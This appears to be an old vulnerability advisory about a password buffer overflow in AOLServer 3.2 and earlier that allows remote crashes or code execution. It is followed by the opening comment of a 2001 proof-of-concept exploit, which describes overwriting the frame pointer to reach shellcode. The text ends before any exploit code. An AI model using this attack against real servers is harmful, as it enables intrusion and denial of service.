AOLServer is a freely available, open source web server. It was originally written by AOL, and is currently developed and maintained by AOL and public domain.
A problem has been discovered that can allow remote users to crash an AOLServer, denying service to legitimate users of the system. The problem is due to the handling of passwords. It is possible for a remote user to overflow a buffer within the AOLServer process by sending a password of 2048 bytes. This could result in the overwriting of stack variables, including the return address.
This makes it possible for a remote user to execute arbitrary code with the privileges of the AOLServer process, and potentially gain local access.
/*
* AOLserver version 3.2 and prior Linux x86 remote exploit
* by qitest1 - Wed Sep 5 17:20:10 CEST 2001
*
* Proof of concept code for exploiting the bof in ParseAuth(). I
* used this vuln as a playground for some tests, all done on a RH6.2
* box. The fp will be overwritten by a pointer to a fake frame, with
* an fp and an eip pointing to the shellcode. Very unstable, segfault
* in most cases.
*
* Greets: grazer and the other hot guys on #!digit-labs
* teleh0r: come back home fratello! =)

* ..harder times for 0x69, now at http://digit-labs.org/qitest1..
